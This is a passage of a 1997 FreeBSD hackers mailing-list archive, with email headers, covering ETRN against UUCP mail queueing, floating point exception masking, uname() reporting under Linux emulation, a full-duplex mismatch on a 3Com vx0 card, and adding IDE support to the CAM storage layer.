controller_info[NPCIC]; static struct slot_ctrl *cinfo = controller_info; ---------------------------------------------------------------- One of my laptop machine has one PCI-1130 CardBus bridge that manages two CardBus slots and i82365-compatible PC card controller that manages one PC-card slot, and I can use all three slots under this test code. -- HOSOKAWA, Tatsumi Network Technology Center Keio University hosokawa@ntc.keio.ac.jp From owner-freebsd-hackers Fri Oct 10 18:30:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA22372 for hackers-outgoing; Fri, 10 Oct 1997 18:30:35 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA22367 for ; Fri, 10 Oct 1997 18:30:29 -0700 (PDT) (envelope-from julian@whistle.com) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id SAA12793; Fri, 10 Oct 1997 18:21:00 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd012791; Sat Oct 11 01:20:59 1997 Message-ID: <343ED433.42877E5C@whistle.com> Date: Fri, 10 Oct 1997 18:19:47 -0700 From: Julian Elischer Organization: Whistle Communications X-Mailer: Mozilla 3.0Gold (X11; I; FreeBSD 2.2-CURRENT i386) MIME-Version: 1.0 To: Terry Lambert CC: Bradley Dunn , freebsd-hackers@FreeBSD.ORG Subject: Re: UUCP (important clarification) References: <199710102118.OAA12575@usr08.primenet.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Terry Lambert wrote: > > > I work for an ISP and we make a decent amount of money selling UUCP to > > small businesses. It works a whole lot better than the 'ETRN' SMTP > > hackery. > > Er, what exactly don't you like about ETRN? I admit that "TURN" was > definitely hackery (and Post.Office's XREMOTEQUEUE), but ETRN seems > to me to be the way to go. It beats the finger-based triggerring > hack all to heck... > > Terry Lambert > terry@lambert.org > --- > Any opinions in this posting are my own and not those of my present > or previous employers. The troubel with ETRN is that it requires the server to start a queue-run if you have 20,000 items in the queue, then EVERY ONE of them has to be examined to see if it's for the user.. a queu run can take 10 minutes in this case. (e.g. at netcom they had this problem..) they don't like ETRN.. figure.. 1000 clients connecting per hour.. 4 minutes cpu+disk time per client + disk activity (lots) == about 60 time the cpu/disk resources that you have. ETRN SUCKS or more correctly.. sendmail's way of queueing mail is not compatible with ETRN. From owner-freebsd-hackers Fri Oct 10 18:47:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA22901 for hackers-outgoing; Fri, 10 Oct 1997 18:47:52 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from consys.com (consys.com [209.60.202.194]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA22894 for ; Fri, 10 Oct 1997 18:47:49 -0700 (PDT) (envelope-from rcarter@consys.com) Received: from dnstoo.consys.com (dnstoo.ConSys.COM [209.60.202.195]) by consys.com (8.8.6/8.8.6) with ESMTP id SAA15535; Fri, 10 Oct 1997 18:46:05 -0700 (MST) Received: (from rcarter@localhost) by dnstoo.consys.com (8.8.5/8.8.6) id SAA08283; Fri, 10 Oct 1997 18:46:05 -0700 (MST) Date: Fri, 10 Oct 1997 18:46:05 -0700 (MST) From: "Russell L. Carter" Message-Id: <199710110146.SAA08283@dnstoo.consys.com> To: gjohnson@nola.srrc.usda.gov, tlambert@primenet.com Subject: Re: Floating point exceptions Cc: freebsd-hackers@FreeBSD.ORG Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk |> FreeBSD (so I can replace Linux). My understanding is that FreeBSD traps |> FPE's. Is there a way for me to change the FreeBSD source code to mask FPE's |> rather than trap them? Better yet, can I do that for a specific application at |> compile time? Your assistance is greatly appreciated. | |Fix: Correct the code to not generate exceptions Hmm, I don't think so. There are a variety of reasons that NA people want to use those carefully thought out exceptions. Find 'em yerself. Russell From owner-freebsd-hackers Fri Oct 10 19:09:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA23912 for hackers-outgoing; Fri, 10 Oct 1997 19:09:21 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from usr02.primenet.com (tlambert@usr02.primenet.com [206.165.6.202]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA23907 for ; Fri, 10 Oct 1997 19:09:16 -0700 (PDT) (envelope-from tlambert@usr02.primenet.com) Received: (from tlambert@localhost) by usr02.primenet.com (8.8.5/8.8.5) id TAA09898; Fri, 10 Oct 1997 19:08:55 -0700 (MST) From: Terry Lambert Message-Id: <199710110208.TAA09898@usr02.primenet.com> Subject: Re: Floating point exceptions To: chuckr@glue.umd.edu (Chuck Robey) Date: Sat, 11 Oct 1997 02:08:54 +0000 (GMT) Cc: tlambert@primenet.com, gjohnson@nola.srrc.usda.gov, freebsd-hackers@FreeBSD.ORG In-Reply-To: from "Chuck Robey" at Oct 10, 97 05:34:04 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Terry, I figured if he understood his application's math well enough to do > the first fix, he'd have done it without asking us. Your worst case fix > doesn't have to be that way, he could set up a signal catcher, so that he > could identify which calculations are killing him, then maybe fix the code > from there. That's what I'd likely do, if I couldn't spot the original > killing calculation. Disagree? Nope; good plan, so long as the data being operated upon is the same each time; if it's a signal processing application, it's trouble. It'd help to know if it's overflow, underflow, or whatever, in any case, so a handler is the best bet. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Fri Oct 10 19:14:29 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA24095 for hackers-outgoing; Fri, 10 Oct 1997 19:14:29 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from elvis.vnet.net (elvis.vnet.net [166.82.1.5]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA24089; Fri, 10 Oct 1997 19:14:25 -0700 (PDT) (envelope-from rivers@dignus.com) Received: from ponds.dignus.com (ponds.vnet.net [166.82.177.48]) by elvis.vnet.net (8.8.5/8.8.4) with ESMTP id WAA15909; Fri, 10 Oct 1997 22:14:04 -0400 (EDT) Received: from lakes.dignus.com (lakes [10.0.0.3]) by ponds.dignus.com (8.8.5/8.8.5) with ESMTP id WAA25539; Fri, 10 Oct 1997 22:30:03 -0400 (EDT) Received: (from rivers@localhost) by lakes.dignus.com (8.8.5/8.6.9) id WAA11043; Fri, 10 Oct 1997 22:19:54 -0400 (EDT) Date: Fri, 10 Oct 1997 22:19:54 -0400 (EDT) From: Thomas David Rivers Message-Id: <199710110219.WAA11043@lakes.dignus.com> To: rivers@dignus.com, tlambert@primenet.com Subject: Re: LINUX emulation and uname(3). Cc: cracauer@cons.org, freebsd-emulation@freefall.FreeBSD.org, freebsd-hackers@freefall.FreeBSD.org, jlemon@americantv.com Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk See below... > > > > The Linux uname() call currently reports the FreeBSD info. I suppose > > > that this could be made into a sysctl if it really becomes a nuisance? > > > (see sys/i386/linux/linux_misc.c:linux_newuname for the implementation) > > > > Well - it was a nuisance in this case, as I was unable to run the > > particular Linux program I wanted to run... > > > > And, of course, you are right... I got a small program that simply > > calls uname() on Linux and ran it on FreeBSD - it reported the FreeBSD > > info... > > > > However, after reporting what I was doing, the company sent me a new > > license key (with the idea that "FreeBSD" would be returned in the utsname > > fields), which worked... > > > > It's just a bother for the various companies, and it means that our claim > > of being able to run Linux binaries isn't as complete as we may have wanted. > > > > Maybe a sysctl, so people could taylor it, is the right thing to do. > > In any event, I think a uname() call under Linux emulation should claim > > to be "Linux" and not "FreeBSD". So, the default should be "Linux"... > > I *STRONGLY* disagree! > > Putting aside for the moment the fact that the utsname is a silly thing > to include in a licensing scheme on an OS where you can make it say > whatever you want it to (you can even do it on Solaris/UnixWare, since > you can load a loadable driver, and as part of the "init", overwrite > the sysent[] table entry with a pointer to your replacement function). > > The reason the Linux uname reports FreeBSD instead of Linux information > is *precisely* to trigger fixes exactly like the one you got. You now > have added a "FreeBSD" tally mark instead of a "Linux" tally mark at > that company. > > Initially, it was done because of the Linux NetScape reporting "Linux" > to the HTTP servers on the other end of the line, when in fact it was > running on FreeBSD. If you want accurate demographics for FreeBSD > systems, then this type of thing needs to stick out. > > That said, I'm not terribly opposed to a sysctl() that would let you > hammer it down, but it should *definitely* remain the way it is for > the default, and hammering should be a last resort. I'm somewhat > opposed to a sysctl(), only because it's too easy to avoid providing > correct demographics to companies that should *know* that their products > are being used on FreeBSD before the next release is ported to various > platforms. > > > Terry Lambert > terry@lambert.org Well... For reasons such as Terry has described - I have been convinced that returning "Linux" as the default isn't the way to go. Also, just to let everyone know - the company has agreed to check for Linux and FreeBSD coming back from uname(). They will simply not look at sysname[] when building for Linux, using the constant string "Linux" instead. Also, they indicated that at the time the license check was designed - the idea of one OS emulating another hadn't occurred... (that begs the question of why they are checking...) You might see support for FreeBSD in some of the newer documentation; I'll let everyone know if it happens... For this reason, and since it did meet the goal of raising FreeBSD awareness - I'm going to suggest we not do a sysctl... You are running on FreeBSD and you should let everyone know about it! - Thanks for all the discussion! - - Dave Rivers - From owner-freebsd-hackers Fri Oct 10 19:19:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA24305 for hackers-outgoing; Fri, 10 Oct 1997 19:19:31 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from usr02.primenet.com (tlambert@usr02.primenet.com [206.165.6.202]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA24300 for ; Fri, 10 Oct 1997 19:19:29 -0700 (PDT) (envelope-from tlambert@usr02.primenet.com) Received: (from tlambert@localhost) by usr02.primenet.com (8.8.5/8.8.5) id TAA10855; Fri, 10 Oct 1997 19:19:03 -0700 (MST) From: Terry Lambert Message-Id: <199710110219.TAA10855@usr02.primenet.com> Subject: Re: UUCP (important clarification) To: julian@whistle.com (Julian Elischer) Date: Sat, 11 Oct 1997 02:19:02 +0000 (GMT) Cc: tlambert@primenet.com, bradley@dunn.org, freebsd-hackers@FreeBSD.ORG In-Reply-To: <343ED433.42877E5C@whistle.com> from "Julian Elischer" at Oct 10, 97 06:19:47 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > sendmail's way of queueing mail is not compatible > with ETRN. This is probably more accurate. It's actually a pretty simple hack to sendmail to name the file based on the destination domain, and a little more complicated to make it queue run only on that domain. Actually, I have a slightly different gross hack I've used to avoid hacking the sendmail queueing itself (still have to hack ETRN, though): o Under cron, grep the domain(s) you ETRN for out of the header entries in the queue, and move them to another (domain specific) directory. o Connect the ETRN up for the domain so that it uses the -oQ You just have to be sure to process it frequently enough (or at the right times) to avoid introducing a delivery latency. Then ETRN never runs except on files queued for a particular domain. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Fri Oct 10 19:24:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA24643 for hackers-outgoing; Fri, 10 Oct 1997 19:24:37 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from mother.sneaker.net.au (akm@mother.sneaker.net.au [203.30.3.2]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA24634; Fri, 10 Oct 1997 19:24:32 -0700 (PDT) (envelope-from akm@mother.sneaker.net.au) Received: (from akm@localhost) by mother.sneaker.net.au (8.8.5/8.8.5) id MAA01538; Sat, 11 Oct 1997 12:31:57 GMT From: Andrew Kenneth Milton Message-Id: <199710111231.MAA01538@mother.sneaker.net.au> Subject: Re: LINUX emulation and uname(3). To: richard@pegasus.com (Richard Foulk) Date: Sat, 11 Oct 1997 12:31:57 +0000 () Cc: freebsd-emulation@freefall.FreeBSD.org, freebsd-hackers@freefall.FreeBSD.org In-Reply-To: <199710101754.HAA17182@pegasus.com> from "Richard Foulk" at Oct 10, 97 07:54:17 am X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk +-----[ Richard Foulk ]------------------------------ | | If Linux software doesn't run, for any reason, then the emulator has failed. Or the software is poorly written, relies on bugs or undocumented features. I can think of things that won't run on consecutive versions of the operating system it was written for, this is under various platforms. I can understand why uname might be used to build/configure software, but, I don't understand why you would use it to licence your software. There are better ways. -- ,-_|\ SneakerNet | Andrew Milton | GSM: +61(41)6 022 411 / \ P.O. Box 154 | akm@sneaker.net.au | Fax: +61(2) 9746 8233 \_,-._/ N Strathfield +--+----------------------+---+ Ph: +61(2) 9746 8233 v NSW 2137 | Low cost Internet Solutions | From owner-freebsd-hackers Fri Oct 10 19:29:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA24835 for hackers-outgoing; Fri, 10 Oct 1997 19:29:51 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from usr02.primenet.com (tlambert@usr02.primenet.com [206.165.6.202]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA24827 for ; Fri, 10 Oct 1997 19:29:49 -0700 (PDT) (envelope-from tlambert@usr02.primenet.com) Received: (from tlambert@localhost) by usr02.primenet.com (8.8.5/8.8.5) id TAA11733; Fri, 10 Oct 1997 19:29:32 -0700 (MST) From: Terry Lambert Message-Id: <199710110229.TAA11733@usr02.primenet.com> Subject: Re: Floating point exceptions To: rcarter@consys.com (Russell L. Carter) Date: Sat, 11 Oct 1997 02:29:31 +0000 (GMT) Cc: gjohnson@nola.srrc.usda.gov, tlambert@primenet.com, freebsd-hackers@FreeBSD.ORG In-Reply-To: <199710110146.SAA08283@dnstoo.consys.com> from "Russell L. Carter" at Oct 10, 97 06:46:05 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > |Fix: Correct the code to not generate exceptions > > Hmm, I don't think so. There are a variety of reasons that NA people > want to use those carefully thought out exceptions. Find > 'em yerself. Well, in Physics we used them in a linear congruential random number generator to get the same pseudo-random values each time for pair production calculations. The errors were all overflows. When we did this, we set the mask immediately before, and unset it immediately afterwards. We did this so we could tell the difference between an exception that was on purpose and one that indicated a bug. Of course, you might not be interested in distinguishing these cases, but I'm sure your calculations will suffer if you don't. ;-). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Fri Oct 10 19:35:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA25126 for hackers-outgoing; Fri, 10 Oct 1997 19:35:05 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from bubble.didi.com (vader.CS.Berkeley.EDU [128.32.38.234]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA25120 for ; Fri, 10 Oct 1997 19:35:02 -0700 (PDT) (envelope-from asami@bubble.didi.com) Received: (from asami@localhost) by bubble.didi.com (8.8.7/8.8.5) id TAA02621; Fri, 10 Oct 1997 19:35:06 -0700 (PDT) Date: Fri, 10 Oct 1997 19:35:06 -0700 (PDT) Message-Id: <199710110235.TAA02621@bubble.didi.com> To: joerg_wunsch@uriah.heep.sax.de CC: hackers@FreeBSD.ORG In-reply-to: <19971010212645.JR64544@uriah.heep.sax.de> Subject: Re: Intel MMX programming From: asami@cs.berkeley.edu (Satoshi Asami) Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk * We basically don't maintain the GNU stuff ourselves. Did you submit * the patches to the gas and gdb maintainers, too? That stands a way * better chance. (We actually maintain part of the stuff, but only * since GNU doesn't support a.out anymore.) There already exists an MMX patch from FSF. ftp://prep.ai.mit.edu/pub/gnu/binutils-2.8-2.8.1-patch.gz (I replied to the original PR (3157), and this is in the audit-trail....) Satoshi From owner-freebsd-hackers Fri Oct 10 19:59:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA26000 for hackers-outgoing; Fri, 10 Oct 1997 19:59:24 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from pegasus.com (pegasus.com [206.127.225.31]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id TAA25990; Fri, 10 Oct 1997 19:59:17 -0700 (PDT) (envelope-from richard@pegasus.com) Received: by pegasus.com (8.6.8/PEGASUS-2.2) id QAA19979; Fri, 10 Oct 1997 16:56:30 -1000 Date: Fri, 10 Oct 1997 16:56:30 -1000 From: richard@pegasus.com (Richard Foulk) Message-Id: <199710110256.QAA19979@pegasus.com> In-Reply-To: Andrew Kenneth Milton "Re: LINUX emulation and uname(3)." (Oct 11, 12:31pm) X-Mailer: Mail User's Shell (7.2.5 10/14/92) To: freebsd-emulation@freefall.FreeBSD.org, freebsd-hackers@freefall.FreeBSD.org Subject: Re: LINUX emulation and uname(3). Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk } | If Linux software doesn't run, for any reason, then the emulator has failed. } } Or the software is poorly written, relies on bugs or undocumented features. } No. If it runs under Linux it should run under the emulator. Good emulation is fully bug compatible. Remember the various DOS emulators. They emulate many bugs and undocumented features. When you type `VER' they respond with `MS-DOS Version 5.00', not `FreeBSD ...' The intent is to run software. Without prejudice. The emulator should not become a software critic. Richard From owner-freebsd-hackers Fri Oct 10 20:21:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA26917 for hackers-outgoing; Fri, 10 Oct 1997 20:21:50 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from hub.org (hub.org [207.107.138.200]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA26908 for ; Fri, 10 Oct 1997 20:21:39 -0700 (PDT) (envelope-from scrappy@hub.org) Received: from localhost (scrappy@localhost) by hub.org (8.8.5/8.7.5) with SMTP id XAA13642 for ; Fri, 10 Oct 1997 23:21:34 -0400 (EDT) Date: Fri, 10 Oct 1997 23:21:33 -0400 (EDT) From: The Hermit Hacker To: hackers@freebsd.org Subject: vx0 100Mbs card in 2.2.2-RELEASE Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi... We have: vx0 <3COM 3C905 Fast Etherlink XL PCI> rev 0 int a irq 5 on pci0:11 Installed on two 2.2.2-RELEASE machines in our office, each of which are plugged into a 100Mbs port on a Dlink 810 EtherSwitch and are experiencing abysmal slowdowns in transfer speeds compared to what it was like when we didn't have the EtherSwitch, and right now, I'm at a lose as to why. If we try to transfer a file from one of the FreeBSD (100Mbs port) to a Sparc20 (10Mbs port) on the same hub, we get around 600+Kbytes/sec. If we try to transfer that *same* file from FreeBSD (100Mbs) to FreeBSD (100Mbs), through the EtherSwitch, we get around 100Kbytes/sec. The Sparc20 is on one 10Mbs segment, and each of the FreeBSD boxes are on their own 100Mbs segment, so they aren't "sharing" a port. On the flip side, going from the Sparc20 (10Mbs) to one of the FreeBSD machines (100Mbs), we are getting around 14kB/s. Checking the back of the computer/card, the card indicates that it is running in 100Mbs mode for both systems, but beyond that, I'm at a loss for where else to look... One thing we're curious about, and I hate to throw this in, but the etherswitch itself has a switch that allows us to switch from full duplex to half duplex on a port by port basis...currently, its set at full duplex... could this possible relate, or has nothing to do with it? Marc G. Fournier scrappy@hub.org Systems Administrator @ hub.org scrappy@freebsd.org From owner-freebsd-hackers Fri Oct 10 20:24:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id UAA27051 for hackers-outgoing; Fri, 10 Oct 1997 20:24:48 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from usr02.primenet.com (tlambert@usr02.primenet.com [206.165.6.202]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id UAA27046; Fri, 10 Oct 1997 20:24:45 -0700 (PDT) (envelope-from tlambert@usr02.primenet.com) Received: (from tlambert@localhost) by usr02.primenet.com (8.8.5/8.8.5) id UAA16064; Fri, 10 Oct 1997 20:24:39 -0700 (MST) From: Terry Lambert Message-Id: <199710110324.UAA16064@usr02.primenet.com> Subject: Re: LINUX emulation and uname(3). To: richard@pegasus.com (Richard Foulk) Date: Sat, 11 Oct 1997 03:24:36 +0000 (GMT) Cc: freebsd-emulation@freefall.FreeBSD.org, freebsd-hackers@freefall.FreeBSD.org In-Reply-To: <199710110256.QAA19979@pegasus.com> from "Richard Foulk" at Oct 10, 97 04:56:30 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > No. > > If it runs under Linux it should run under the emulator. Good emulation > is fully bug compatible. > > Remember the various DOS emulators. They emulate many bugs and undocumented > features. When you type `VER' they respond with `MS-DOS Version 5.00', > not `FreeBSD ...' Technically, you are missing the distinction between an emulator and a simulator here. It actually *is* DOS running, just not directly in contact with the glass... > The intent is to run software. Without prejudice. The emulator should > not become a software critic. Agreed. However, consider the uname() thing as a marketing mandate: it doesn't have to make sense for it to still have to be that way. This is actually the first complaint I've ever heard about it... unless you count the complaints about NetScape running on FreeBSD being counted as Linux and therefore exagerating the Linux market share at the expense of underreporting the FreeBSD market share. I heard a *lot* of those complaints before the change (see the CVS log for the file). This is very much on the order of an external machine interface more than an emulator interface. The only reason it even came up is because someone's license manager didn't expect FreeBSD (most likely because of all that underreporting making it seem to be an insignificant market...). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Fri Oct 10 21:07:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA28641 for hackers-outgoing; Fri, 10 Oct 1997 21:07:03 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id VAA28630 for ; Fri, 10 Oct 1997 21:06:56 -0700 (PDT) (envelope-from tom@sdf.com) Received: from tom by misery.sdf.com with smtp (Exim 1.71 #1) id 0xJsoJ-0001qA-00; Fri, 10 Oct 1997 21:05:51 -0700 Date: Fri, 10 Oct 1997 21:05:48 -0700 (PDT) From: Tom To: The Hermit Hacker cc: hackers@freebsd.org Subject: Re: vx0 100Mbs card in 2.2.2-RELEASE In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Fri, 10 Oct 1997, The Hermit Hacker wrote: ... > to half duplex on a port by port basis...currently, its set at full duplex... > could this possible relate, or has nothing to do with it? It is the cause. Set it to half for the ports to the FreeBSD systems. The vx driver will not do full-duplex. > Marc G. Fournier scrappy@hub.org > Systems Administrator @ hub.org scrappy@freebsd.org > > > Tom From owner-freebsd-hackers Fri Oct 10 22:19:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA01183 for hackers-outgoing; Fri, 10 Oct 1997 22:19:36 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from pluto.plutotech.com (ken@mail.plutotech.com [206.168.67.137]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA01175 for ; Fri, 10 Oct 1997 22:19:27 -0700 (PDT) (envelope-from ken@plutotech.com) Received: (from ken@localhost) by pluto.plutotech.com (8.8.5/8.8.5) id XAA22676 for hackers@freebsd.org; Fri, 10 Oct 1997 23:19:26 -0600 (MDT) From: Kenneth Merry Message-Id: <199710110519.XAA22676@pluto.plutotech.com> Subject: Re: HP 7100i To: hackers@freebsd.org Date: Fri, 10 Oct 1997 23:19:26 -0600 (MDT) X-Mailer: ELM [version 2.4ME+ PL28s (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Sorry if anyone sees this twice, but I haven't seen it come through on hackers yet. So, I'm resending it, hopefully it'll get through this time. Ken =========================================================================== Mike Smith wrote... > > > > I think the way to go, if you want to add IDE support to the > > FreeBSD CAM code, is to write another transport layer to go alongside the > > current transport layer. Justin can elaborate on it a little more. (I've > > CCed him..) > > The situation is a little complicated, in that you have two > fundamentally different device types hung off the same interface. For > our purposes, these are ATA disks and ATAPI devices. > > The NetBSD approach creates an 'atapibus', off which ATAPI devices are > hung. These are registered with their SCSI layer, whilst IDE disks are > associated with their 'wd' driver. > > I'm not sure if you're suggesting that the IDE interface should be > parallelled with the SCSI interface, or whether you mean that the ATAPI > interface should be treated as though it were another SCSI adapter. > Perhaps the CAM docco will make things clearer. Actually, I'm suggesting that the IDE interface be parallelized with the SCSI interface. (And it isn't actually my idea -- Justin first suggested it.) It should be possible to create an IDE transport layer that uses a lot of the same code as the SCSI transport layer. The CAM-3 spec has a nice diagram of the various parts of CAM in section 5.1, page 17. Basically, it goes like this: _______________ _______________ | Application | | Application | --------------- --------------- | | ------------------------------------------------------- | OS | ------------------------------------------------------- | | | | | ---------- ---------- ---------- ----------- ----------- | Disk | | Tape | | CDROM | | passthru| | Network | | Driver | | Driver | | Driver | | Driver | | Driver | ---------- ---------- ---------- ----------- ----------- | | | | | ------------------|------------------------------ | | ------------------- | Transport (XPT) | | Layer | ------------------- | --------------------------------- | | | -------------- -------------- ------------------- | SCSI (SPI) | | SCSI (FCP) | | Network | | SIM | | FC SIM | | Interconnect SIM| -------------- -------------- ------------------- | | | | |<----------------| | | | -------------- -------------- -------------- | Hardware | | Hardware | | Hardware | | Adapter(HA)| | Adapter(HA)| | Adapter(HA)| -------------- -------------- -------------- So, I guess one question here is how SCSI-specific is the current transport layer? IMO, for the most part it is generic enough to handle IDE and SCSI commands, but there are some parts that are tuned to SCSI devices. There are a couple of different ways to go about adding IDE support into CAM. One way would be to separate the transport routines that are SCSI-specific from the main body of the transport code. Then you would write equivalent IDE routines, and have two separate transport layers. The IDE layer would talk to the IDE harware driver(s), and the SCSI layer would talk to the SCSI hardware drivers. One problem that comes up with this method is that some of the peripheral drivers, notably the DA (Direct Access) and CDROM drivers are fairly SCSI-specific. There are certainly elements of the drivers that would apply to IDE drives, but they are also full of SCSI commands. The passthrough driver, though, is definitely generic enough to work with either SCSI or IDE drives. You'd probably end up having separate IDE direct-access, sequential-access, and possibly CDROM drivers. They would probably somewhat similar to their SCSI counterparts. The main benefit would be code-sharing between the transport layers. Another way to add IDE support into CAM would be to put a translation layer, along the lines of what NetBSD has. (note: I haven't taken a good look at the NetBSD code, I may have misunderstood what it does...) Basically, it would sit between the current transport layer and the IDE hardware driver(s), and translate SCSIisms to IDEisms. You may still need IDE peripheral drivers, though. So which is a cleaner solution? I'm not sure, really. I guess the translation layer idea would allow more code sharing between IDE and SCSI, but how many kludges would it have to go through to do it? Depending on how it's done, you may still need IDE disk and CDROM drivers. Having separate transport layers that just share most of their code might work. But then you would still need separate IDE peripheral drivers. Anyway, I'm no expert on IDE or SCSI, so maybe some folks out there have other ideas that might work for this. I think it's definitely possible (NetBSD does it), the question is just what is the best way to do it? When he gets some time, perhaps Justin can comment on this. (He wrote most all of the transport layer after all...so he has a better idea of the issues that would come up in trying to get IDE devices to work with it.) Ken -- Kenneth Merry ken@plutotech.com From owner-freebsd-hackers Fri Oct 10 22:52:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA02223 for hackers-outgoing; Fri, 10 Oct 1997 22:52:18 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id WAA02218 for ; Fri, 10 Oct 1997 22:52:15 -0700 (PDT) (envelope-from j@uriah.heep.sax.de) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id HAA11244 for freebsd-hackers@freefall.FreeBSD.org; Sat, 11 Oct 1997 07:52:13 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id HAA16179; Sat, 11 Oct 1997 07:34:07 +0200 (MET DST) Message-ID: <19971011073407.MA36555@uriah.heep.sax.de> Date: Sat, 11 Oct 1997 07:34:07 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@freefall.FreeBSD.org Subject: Re: LINUX emulation and uname(3). References: <199710110219.WAA11043@lakes.dignus.com> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199710110219.WAA11043@lakes.dignus.com>; from Thomas David Rivers on Oct 10, 1997 22:19:54 -0400 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Thomas David Rivers wrote: > For this reason, and since it did meet the goal of raising FreeBSD > awareness - I'm going to suggest we not do a sysctl... You are running > on FreeBSD and you should let everyone know about it! I think defaulting it to the FreeBSD values, but providing a sysctl meets both goals: you still don't do false claims, and can kick a stupid vendor in the butt once you notice a problem. OTOH, stupid vendors often aren't right away known 